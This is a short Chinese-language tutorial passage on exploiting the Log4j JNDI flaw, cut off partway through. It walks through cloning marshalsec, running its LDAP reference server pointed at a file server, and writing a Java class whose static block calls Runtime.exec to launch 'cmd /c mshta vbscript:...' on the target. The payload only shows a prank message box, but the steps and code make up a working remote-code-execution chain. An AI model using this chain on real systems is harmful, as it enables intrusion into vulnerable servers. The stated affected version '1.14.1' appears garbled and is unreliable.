log4j的1.14.1往下版本
需要先搭建一个LDAP服务器,git地址
git clone https://github.com/mbechler/marshalsec.git
执行 marshalsec.jndi.LDAPRefServer 的main函数,idea添加执行命令
"http://127.0.0.1/fileService/download/1/1/#test" 8888
意思是将文件服务器http://127.0.0.1/fileService/download/1/1/下面的test类,映射到8888端口
然后编写test类
public class test {
static{
try {
Runtime.getRuntime().exec("cmd /c mshta vbscript:msgbox(\"有人从你的log4进来了\",64,\"来自熊猫头的消息\")(window.close)");
} catch (IOException e) {
e.printStackTrace();
}
}
}
test类执行了一个cmd指令,执行了一段vb程序语句
将他编译成class,放到文件服